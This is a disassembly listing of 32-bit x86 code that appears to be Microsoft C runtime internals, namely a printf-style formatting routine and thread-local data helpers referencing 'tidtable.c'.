loc_41EE60: ; CODE XREF: sub_41E9B0+385j
; DATA XREF: ___:0041F668o
mov ecx, [ebp+var_4]
and ecx, 830h
test ecx, ecx
jnz short loc_41EE76
mov edx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], edx
loc_41EE76: ; CODE XREF: sub_41E9B0+385j
; sub_41E9B0+4BBj
; DATA XREF: ...
cmp [ebp+var_234], 0FFFFFFFFh
jnz short loc_41EE8B
mov [ebp+var_2A4], 7FFFFFFFh
jmp short loc_41EE97
; ---------------------------------------------------------------------------
loc_41EE8B: ; CODE XREF: sub_41E9B0+4CDj
mov eax, [ebp+var_234]
mov [ebp+var_2A4], eax
loc_41EE97: ; CODE XREF: sub_41E9B0+4D9j
mov ecx, [ebp+var_2A4]
mov [ebp+var_258], ecx
lea edx, [ebp+arg_8]
push edx
call sub_41F7F0
add esp, 4
mov [ebp+var_20], eax
mov eax, [ebp+var_4]
and eax, 810h
test eax, eax
jz short loc_41EF26
cmp [ebp+var_20], 0
jnz short loc_41EECD
mov ecx, off_443E8C
mov [ebp+var_20], ecx
loc_41EECD: ; CODE XREF: sub_41E9B0+512j
mov [ebp+var_1C], 1
mov edx, [ebp+var_20]
mov [ebp+var_254], edx
loc_41EEDD: ; CODE XREF: sub_41E9B0+564j
mov eax, [ebp+var_258]
mov ecx, [ebp+var_258]
sub ecx, 1
mov [ebp+var_258], ecx
test eax, eax
jz short loc_41EF16
mov edx, [ebp+var_254]
xor eax, eax
mov ax, [edx]
test eax, eax
jz short loc_41EF16
mov ecx, [ebp+var_254]
add ecx, 2
mov [ebp+var_254], ecx
jmp short loc_41EEDD
; ---------------------------------------------------------------------------
loc_41EF16: ; CODE XREF: sub_41E9B0+544j
; sub_41E9B0+553j
mov edx, [ebp+var_254]
sub edx, [ebp+var_20]
sar edx, 1
mov [ebp+var_24], edx
jmp short loc_41EF80
; ---------------------------------------------------------------------------
loc_41EF26: ; CODE XREF: sub_41E9B0+50Cj
cmp [ebp+var_20], 0
jnz short loc_41EF34
mov eax, off_443E88
mov [ebp+var_20], eax
loc_41EF34: ; CODE XREF: sub_41E9B0+57Aj
mov ecx, [ebp+var_20]
mov [ebp+var_250], ecx
loc_41EF3D: ; CODE XREF: sub_41E9B0+5C2j
mov edx, [ebp+var_258]
mov eax, [ebp+var_258]
sub eax, 1
mov [ebp+var_258], eax
test edx, edx
jz short loc_41EF74
mov ecx, [ebp+var_250]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41EF74
mov eax, [ebp+var_250]
add eax, 1
mov [ebp+var_250], eax
jmp short loc_41EF3D
; ---------------------------------------------------------------------------
loc_41EF74: ; CODE XREF: sub_41E9B0+5A4j
; sub_41E9B0+5B1j
mov ecx, [ebp+var_250]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
loc_41EF80: ; CODE XREF: sub_41E9B0+574j
jmp loc_41F3E7
; ---------------------------------------------------------------------------
loc_41EF85: ; CODE XREF: sub_41E9B0+385j
; DATA XREF: ___:0041F680o
lea edx, [ebp+arg_8]
push edx
call sub_41F7F0
add esp, 4
mov [ebp+var_25C], eax
mov eax, [ebp+var_4]
and eax, 20h
test eax, eax
jz short loc_41EFB3
mov ecx, [ebp+var_25C]
mov dx, word ptr [ebp+var_22C]
mov [ecx], dx
jmp short loc_41EFC1
; ---------------------------------------------------------------------------
loc_41EFB3: ; CODE XREF: sub_41E9B0+5EFj
mov eax, [ebp+var_25C]
mov ecx, [ebp+var_22C]
mov [eax], ecx
loc_41EFC1: ; CODE XREF: sub_41E9B0+601j
mov [ebp+var_23C], 1
jmp loc_41F3E7
; ---------------------------------------------------------------------------
loc_41EFD0: ; CODE XREF: sub_41E9B0+385j
; DATA XREF: ___:0041F664o
mov [ebp+var_8], 1
mov dl, byte ptr [ebp+var_28]
add dl, 20h
mov byte ptr [ebp+var_28], dl
loc_41EFE0: ; CODE XREF: sub_41E9B0+385j
; DATA XREF: ___:0041F67Co
mov eax, [ebp+var_4]
or al, 40h
mov [ebp+var_4], eax
lea ecx, [ebp+var_228]
mov [ebp+var_20], ecx
cmp [ebp+var_234], 0
jge short loc_41F006
mov [ebp+var_234], 6
jmp short loc_41F022
; ---------------------------------------------------------------------------
loc_41F006: ; CODE XREF: sub_41E9B0+648j
cmp [ebp+var_234], 0
jnz short loc_41F022
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_41F022
mov [ebp+var_234], 1
loc_41F022: ; CODE XREF: sub_41E9B0+654j
; sub_41E9B0+65Dj ...
mov eax, [ebp+arg_8]
add eax, 8
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
sub ecx, 8
mov edx, [ecx]
mov eax, [ecx+4]
mov [ebp+var_264], edx
mov [ebp+var_260], eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_234]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
mov ecx, [ebp+var_20]
push ecx
lea edx, [ebp+var_264]
push edx
call off_444248
add esp, 14h
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jz short loc_41F088
cmp [ebp+var_234], 0
jnz short loc_41F088
mov ecx, [ebp+var_20]
push ecx
call off_444254
add esp, 4
loc_41F088: ; CODE XREF: sub_41E9B0+6C0j
; sub_41E9B0+6C9j
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_41F0AA
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jnz short loc_41F0AA
mov ecx, [ebp+var_20]
push ecx
call off_44424C
add esp, 4
loc_41F0AA: ; CODE XREF: sub_41E9B0+6DFj
; sub_41E9B0+6EBj
mov edx, [ebp+var_20]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_41F0C7
mov ecx, [ebp+var_4]
or ch, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_41F0C7: ; CODE XREF: sub_41E9B0+703j
mov eax, [ebp+var_20]
push eax
call sub_414BE0
add esp, 4
mov [ebp+var_24], eax
jmp loc_41F3E7
; ---------------------------------------------------------------------------
loc_41F0DB: ; CODE XREF: sub_41E9B0+385j
; DATA XREF: ___:0041F678o
mov ecx, [ebp+var_4]
or ecx, 40h
mov [ebp+var_4], ecx
mov [ebp+var_238], 0Ah
jmp loc_41F175
; ---------------------------------------------------------------------------
loc_41F0F3: ; CODE XREF: sub_41E9B0+385j
; DATA XREF: ___:0041F690o
mov [ebp+var_238], 0Ah
jmp short loc_41F175
; ---------------------------------------------------------------------------
loc_41F0FF: ; CODE XREF: sub_41E9B0+385j
; DATA XREF: ___:0041F688o
mov [ebp+var_234], 8
loc_41F109: ; CODE XREF: sub_41E9B0+385j
; DATA XREF: ___:0041F66Co
mov [ebp+var_230], 7
jmp short loc_41F11F
; ---------------------------------------------------------------------------
loc_41F115: ; CODE XREF: sub_41E9B0+385j
; DATA XREF: ___:0041F694o
mov [ebp+var_230], 27h
loc_41F11F: ; CODE XREF: sub_41E9B0+763j
mov [ebp+var_238], 10h
mov edx, [ebp+var_4]
and edx, 80h
test edx, edx
jz short loc_41F153
mov [ebp+var_240], 30h
mov eax, [ebp+var_230]
add eax, 51h
mov [ebp+var_23F], al
mov [ebp+var_10], 2
loc_41F153: ; CODE XREF: sub_41E9B0+784j
jmp short loc_41F175
; ---------------------------------------------------------------------------
loc_41F155: ; CODE XREF: sub_41E9B0+385j
; DATA XREF: ___:0041F684o
mov [ebp+var_238], 8
mov ecx, [ebp+var_4]
and ecx, 80h
test ecx, ecx
jz short loc_41F175
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
loc_41F175: ; CODE XREF: sub_41E9B0+73Ej
; sub_41E9B0+74Dj ...
mov eax, [ebp+var_4]
and eax, 8000h
test eax, eax
jz short loc_41F19E
lea ecx, [ebp+arg_8]
push ecx
call sub_41F810
add esp, 4
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp loc_41F22F
; ---------------------------------------------------------------------------
loc_41F19E: ; CODE XREF: sub_41E9B0+7CFj
mov edx, [ebp+var_4]
and edx, 20h
test edx, edx
jz short loc_41F1F0
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_41F1D0
lea ecx, [ebp+arg_8]
push ecx
call sub_41F7F0
add esp, 4
movsx eax, ax
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_41F1EE
; ---------------------------------------------------------------------------
loc_41F1D0: ; CODE XREF: sub_41E9B0+800j
lea edx, [ebp+arg_8]
push edx
call sub_41F7F0
add esp, 4
and eax, 0FFFFh
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
loc_41F1EE: ; CODE XREF: sub_41E9B0+81Ej
jmp short loc_41F22F
; ---------------------------------------------------------------------------
loc_41F1F0: ; CODE XREF: sub_41E9B0+7F6j
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_41F215
lea ecx, [ebp+arg_8]
push ecx
call sub_41F7F0
add esp, 4
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_41F22F
; ---------------------------------------------------------------------------
loc_41F215: ; CODE XREF: sub_41E9B0+848j
lea edx, [ebp+arg_8]
push edx
call sub_41F7F0
add esp, 4
xor ecx, ecx
mov [ebp+var_278], eax
mov [ebp+var_274], ecx
loc_41F22F: ; CODE XREF: sub_41E9B0+7E9j
; sub_41E9B0:loc_41F1EEj ...
mov edx, [ebp+var_4]
and edx, 40h
test edx, edx
jz short loc_41F277
cmp [ebp+var_274], 0
jg short loc_41F277
jl short loc_41F24D
cmp [ebp+var_278], 0
jnb short loc_41F277
loc_41F24D: ; CODE XREF: sub_41E9B0+892j
mov eax, [ebp+var_278]
neg eax
mov ecx, [ebp+var_274]
adc ecx, 0
neg ecx
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
mov edx, [ebp+var_4]
or dh, 1
mov [ebp+var_4], edx
jmp short loc_41F28F
; ---------------------------------------------------------------------------
loc_41F277: ; CODE XREF: sub_41E9B0+887j
; sub_41E9B0+890j ...
mov eax, [ebp+var_278]
mov [ebp+var_26C], eax
mov ecx, [ebp+var_274]
mov [ebp+var_268], ecx
loc_41F28F: ; CODE XREF: sub_41E9B0+8C5j
mov edx, [ebp+var_4]
and edx, 8000h
test edx, edx
jnz short loc_41F2B7
mov eax, [ebp+var_26C]
mov ecx, [ebp+var_268]
and ecx, 0
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
loc_41F2B7: ; CODE XREF: sub_41E9B0+8EAj
cmp [ebp+var_234], 0
jge short loc_41F2CC
mov [ebp+var_234], 1
jmp short loc_41F2D5
; ---------------------------------------------------------------------------
loc_41F2CC: ; CODE XREF: sub_41E9B0+90Ej
mov edx, [ebp+var_4]
and edx, 0FFFFFFF7h
mov [ebp+var_4], edx
loc_41F2D5: ; CODE XREF: sub_41E9B0+91Aj
mov eax, [ebp+var_26C]
or eax, [ebp+var_268]
test eax, eax
jnz short loc_41F2EC
mov [ebp+var_10], 0
loc_41F2EC: ; CODE XREF: sub_41E9B0+933j
lea ecx, [ebp+var_29]
mov [ebp+var_20], ecx
loc_41F2F2: ; CODE XREF: sub_41E9B0+9EBj
mov edx, [ebp+var_234]
mov eax, [ebp+var_234]
sub eax, 1
mov [ebp+var_234], eax
test edx, edx
jg short loc_41F31F
mov ecx, [ebp+var_26C]
or ecx, [ebp+var_268]
test ecx, ecx
jz loc_41F3A0
loc_41F31F: ; CODE XREF: sub_41E9B0+959j
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov edx, [ebp+var_268]
push edx
mov eax, [ebp+var_26C]
push eax
call sub_41A440
add eax, 30h
mov [ebp+var_270], eax
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov ecx, [ebp+var_268]
push ecx
mov edx, [ebp+var_26C]
push edx
call sub_41A3D0
mov [ebp+var_26C], eax
mov [ebp+var_268], edx
cmp [ebp+var_270], 39h
jle short loc_41F387
mov eax, [ebp+var_270]
add eax, [ebp+var_230]
mov [ebp+var_270], eax
loc_41F387: ; CODE XREF: sub_41E9B0+9C3j
mov ecx, [ebp+var_20]
mov dl, byte ptr [ebp+var_270]
mov [ecx], dl
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
jmp loc_41F2F2
; ---------------------------------------------------------------------------
loc_41F3A0: ; CODE XREF: sub_41E9B0+969j
lea ecx, [ebp+var_29]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+var_4]
and eax, 200h
test eax, eax
jz short loc_41F3E7
mov ecx, [ebp+var_20]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_41F3CF
cmp [ebp+var_24], 0
jnz short loc_41F3E7
loc_41F3CF: ; CODE XREF: sub_41E9B0+A17j
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
mov byte ptr [ecx], 30h
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_41F3E7: ; CODE XREF: sub_41E9B0+371j
; sub_41E9B0+385j ...
cmp [ebp+var_23C], 0
jnz loc_41F5C2
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_41F44D
mov ecx, [ebp+var_4]
and ecx, 100h
test ecx, ecx
jz short loc_41F41B
mov [ebp+var_240], 2Dh
mov [ebp+var_10], 1
jmp short loc_41F44D
; ---------------------------------------------------------------------------
loc_41F41B: ; CODE XREF: sub_41E9B0+A59j
mov edx, [ebp+var_4]
and edx, 1
test edx, edx
jz short loc_41F435
mov [ebp+var_240], 2Bh
mov [ebp+var_10], 1
jmp short loc_41F44D
; ---------------------------------------------------------------------------
loc_41F435: ; CODE XREF: sub_41E9B0+A73j
mov eax, [ebp+var_4]
and eax, 2
test eax, eax
jz short loc_41F44D
mov [ebp+var_240], 20h
mov [ebp+var_10], 1
loc_41F44D: ; CODE XREF: sub_41E9B0+A4Cj
; sub_41E9B0+A69j ...
mov ecx, [ebp+var_244]
sub ecx, [ebp+var_24]
sub ecx, [ebp+var_10]
mov [ebp+var_27C], ecx
mov edx, [ebp+var_4]
and edx, 0Ch
test edx, edx
jnz short loc_41F485
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_41F760
add esp, 10h
loc_41F485: ; CODE XREF: sub_41E9B0+AB7j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_10]
push edx
lea eax, [ebp+var_240]
push eax
call sub_41F7A0
add esp, 10h
mov ecx, [ebp+var_4]
and ecx, 8
test ecx, ecx
jz short loc_41F4D3
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jnz short loc_41F4D3
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 30h
call sub_41F760
add esp, 10h
loc_41F4D3: ; CODE XREF: sub_41E9B0+AFBj
; sub_41E9B0+B05j
cmp [ebp+var_1C], 0
jz loc_41F581
cmp [ebp+var_24], 0
jle loc_41F581
mov eax, [ebp+var_20]
mov [ebp+var_280], eax
mov ecx, [ebp+var_24]
mov [ebp+var_284], ecx
loc_41F4F9: ; CODE XREF: sub_41E9B0+BCAj
mov edx, [ebp+var_284]
mov eax, [ebp+var_284]
sub eax, 1
mov [ebp+var_284], eax
test edx, edx
jz short loc_41F57F
mov ecx, [ebp+var_280]
mov dx, [ecx]
mov [ebp+var_2A6], dx
mov ax, [ebp+var_2A6]
push eax
lea ecx, [ebp+var_288]
push ecx
mov edx, [ebp+var_280]
add edx, 2
mov [ebp+var_280], edx
call sub_4285F0
add esp, 8
mov [ebp+var_28C], eax
cmp [ebp+var_28C], 0
jg short loc_41F559
jmp short loc_41F57F
; ---------------------------------------------------------------------------
loc_41F559: ; CODE XREF: sub_41E9B0+BA5j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_28C]
push edx
lea eax, [ebp+var_288]
push eax
call sub_41F7A0
add esp, 10h
jmp loc_41F4F9
; ---------------------------------------------------------------------------
loc_41F57F: ; CODE XREF: sub_41E9B0+B60j
; sub_41E9B0+BA7j
jmp short loc_41F59C
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41E9B0+B27j
; sub_41E9B0+B31j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
call sub_41F7A0
add esp, 10h
loc_41F59C: ; CODE XREF: sub_41E9B0:loc_41F57Fj
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jz short loc_41F5C2
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_41F760
add esp, 10h
loc_41F5C2: ; CODE XREF: sub_41E9B0+ADj
; sub_41E9B0+155j ...
jmp loc_41E9D4
; ---------------------------------------------------------------------------
loc_41F5C7: ; CODE XREF: sub_41E9B0+3Bj
; sub_41E9B0+48j
mov eax, [ebp+var_22C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41E9B0 endp
; ---------------------------------------------------------------------------
off_41F5D4 dd offset loc_41EA70 ; DATA XREF: sub_41E9B0+B9r
dd offset loc_41EB0A
dd offset loc_41EB4C
dd offset loc_41EBBB
dd offset loc_41EC13
dd offset loc_41EC22
dd offset loc_41EC6E
dd offset loc_41ED01
off_41F5F4 dd offset loc_41EB98 ; DATA XREF: sub_41E9B0+1CCr
dd offset loc_41EBA3
dd offset loc_41EB8E
dd offset loc_41EB83
dd offset loc_41EBAE
dd offset loc_41EBB6
byte_41F60C db 0 ; DATA XREF: sub_41E9B0+1C6r
db 2 dup(5), 1
dd 5050505h, 2050505h, 5050305h
db 4
off_41F61D dd offset loc_41ECB0 ; DATA XREF: sub_41E9B0+2EEr
dd offset loc_41ECE9
dd offset loc_41ECA5
dd offset loc_41ECF3
dd offset loc_41ECFC
byte_41F631 db 0 ; DATA XREF: sub_41E9B0+2E8r
dw 404h
dd 7 dup(4040404h), 4040401h, 4040402h, 4040404h, 3040404h
off_41F660 dd offset loc_41ED3C ; DATA XREF: sub_41E9B0+385r
dd offset loc_41EFD0
dd offset loc_41EE60
dd offset loc_41F109
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0EDh, 41h, 0
dd offset loc_41ED51
dd offset loc_41F0DB
dd offset loc_41EFE0
dd offset loc_41EF85
dd offset loc_41F155
dd offset loc_41F0FF
dd offset loc_41EE76
dd offset loc_41F0F3
dd offset loc_41F115
dd offset loc_41F3E7
byte_41F69C db 0 ; DATA XREF: sub_41E9B0+37Fr
db 0Eh, 1, 0Eh
dd 0E0E0E01h, 2 dup(0E0E0E0Eh), 0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh)
dd 7070605h, 0E060E07h, 80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh
dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F6E0 proc near ; CODE XREF: sub_41E9B0+F5p
; sub_41E9B0+14Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_4]
mov [edx+4], ecx
mov eax, [ebp+arg_4]
cmp dword ptr [eax+4], 0
jl short loc_41F722
mov ecx, [ebp+arg_4]
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
movsx ecx, byte ptr [ebp+arg_0]
and ecx, 0FFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_41F735
; ---------------------------------------------------------------------------
loc_41F722: ; CODE XREF: sub_41F6E0+1Aj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41E730
add esp, 8
mov [ebp+var_4], eax
loc_41F735: ; CODE XREF: sub_41F6E0+40j
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_41F746
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], 0FFFFFFFFh
jmp short loc_41F753
; ---------------------------------------------------------------------------
loc_41F746: ; CODE XREF: sub_41F6E0+59j
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
loc_41F753: ; CODE XREF: sub_41F6E0+64j
mov esp, ebp
pop ebp
retn
sub_41F6E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F760 proc near ; CODE XREF: sub_41E9B0+ACDp
; sub_41E9B0+B1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
loc_41F763: ; CODE XREF: sub_41F760:loc_41F791j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_41F793
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41F6E0
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_41F791
jmp short loc_41F793
; ---------------------------------------------------------------------------
loc_41F791: ; CODE XREF: sub_41F760+2Dj
jmp short loc_41F763
; ---------------------------------------------------------------------------
loc_41F793: ; CODE XREF: sub_41F760+11j
; sub_41F760+2Fj
pop ebp
retn
sub_41F760 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F7A0 proc near ; CODE XREF: sub_41E9B0+AEBp
; sub_41E9B0+BC2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
loc_41F7A4: ; CODE XREF: sub_41F7A0:loc_41F7E4j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_41F7E6
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
call sub_41F6E0
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_41F7E4
jmp short loc_41F7E6
; ---------------------------------------------------------------------------
loc_41F7E4: ; CODE XREF: sub_41F7A0+40j
jmp short loc_41F7A4
; ---------------------------------------------------------------------------
loc_41F7E6: ; CODE XREF: sub_41F7A0+12j
; sub_41F7A0+42j
mov esp, ebp
pop ebp
retn
sub_41F7A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F7F0 proc near ; CODE XREF: sub_41E9B0+218p
; sub_41E9B0+27Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov eax, [ecx-4]
pop ebp
retn
sub_41F7F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F810 proc near ; CODE XREF: sub_41E9B0+7D5p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
sub ecx, 8
mov eax, [ecx]
mov edx, [ecx+4]
pop ebp
retn
sub_41F810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F830 proc near ; CODE XREF: sub_41E9B0+3B2p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ax, [ecx-4]
pop ebp
retn
sub_41F830 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41F850 proc near ; CODE XREF: ___:004175CAp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41F869
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41F869: ; CODE XREF: sub_41F850+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41F850 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
call sub_41B6A0
nop
call near ptr 28A0000h
mov dword_443E90, eax
cmp dword_443E90, 0FFFFFFFFh
jnz short loc_41F8B1
xor eax, eax
jmp short loc_41F90E
; ---------------------------------------------------------------------------
loc_41F8B1: ; CODE XREF: ___:0041F8ABj
push 61h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_4151E0
add esp, 14h
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz short loc_41F8E4
mov eax, [ebp-4]
push eax
mov ecx, dword_443E90
push ecx
nop
call near ptr 2890A01h
test eax, eax
jnz short loc_41F8E8
loc_41F8E4: ; CODE XREF: ___:0041F8CDj
xor eax, eax
jmp short loc_41F90E
; ---------------------------------------------------------------------------
loc_41F8E8: ; CODE XREF: ___:0041F8E2j
mov edx, [ebp-4]
push edx
call sub_41F950
add esp, 4
nop
call near ptr 289096Fh
mov ecx, [ebp-4]
mov [ecx], eax
mov edx, [ebp-4]
mov dword ptr [edx+4], 0FFFFFFFFh
mov eax, 1
loc_41F90E: ; CODE XREF: ___:0041F8AFj
; ___:0041F8E6j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_41B6E0
cmp dword_443E90, 0FFFFFFFFh
jz short loc_41F947
mov eax, dword_443E90
push eax
call near ptr 28A043Ch
nop
mov dword_443E90, 0FFFFFFFFh
loc_41F947: ; CODE XREF: ___:0041F92Fj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F950 proc near ; CODE XREF: ___:0041F8ECp
; sub_41F970+5Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword ptr [eax+50h], offset dword_4443C8
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+14h], 1
pop ebp
retn
sub_41F950 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F970 proc near ; CODE XREF: sub_417620+Cp
; sub_417B00+3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
nop
call near ptr 26908EFh
mov [ebp+var_8], eax
mov eax, dword_443E90
push eax
nop
call near ptr 28A0CDDh
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41F9F7
push 0E7h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_4151E0
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41F9ED
mov ecx, [ebp+var_4]
push ecx
mov edx, dword_443E90
push edx
nop
call near ptr 2890A01h
test eax, eax
jz short loc_41F9ED
mov eax, [ebp+var_4]
push eax
call sub_41F950
add esp, 4
nop
call near ptr 289096Fh
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0FFFFFFFFh
jmp short loc_41F9F7
; ---------------------------------------------------------------------------
loc_41F9ED: ; CODE XREF: sub_41F970+43j
; sub_41F970+58j
push 10h
call sub_41A9A0
add esp, 4
loc_41F9F7: ; CODE XREF: sub_41F970+22j
; sub_41F970+7Bj
mov eax, [ebp+var_8]
push eax
nop
call near ptr 28A0C44h
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41F970 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_443E90, 0FFFFFFFFh
jz loc_41FB15
cmp dword ptr [ebp+8], 0
jnz short loc_41FA35
mov eax, dword_443E90
push eax
nop
call near ptr 28A0CDDh
mov [ebp+8], eax
loc_41FA35: ; CODE XREF: ___:0041FA24j
cmp dword ptr [ebp+8], 0
jz loc_41FB06
mov ecx, [ebp+8]
cmp dword ptr [ecx+24h], 0
jz short loc_41FA59
push 2
mov edx, [ebp+8]
mov eax, [edx+24h]
push eax
call sub_415860
add esp, 8
loc_41FA59: ; CODE XREF: ___:0041FA46j
mov ecx, [ebp+8]
cmp dword ptr [ecx+28h], 0
jz short loc_41FA73
push 2
mov edx, [ebp+8]
